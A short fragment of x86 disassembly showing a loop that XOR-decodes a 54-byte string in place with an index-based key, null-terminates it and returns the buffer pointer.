lea edx, [eax + esi]
lea ecx, [eax + 0xf]
inc eax
xor byte [edx], cl
cmp eax, 0x36
jb 0x4448e0
mov byte [esi + 0x37], 0
mov eax, esi
pop esi
ret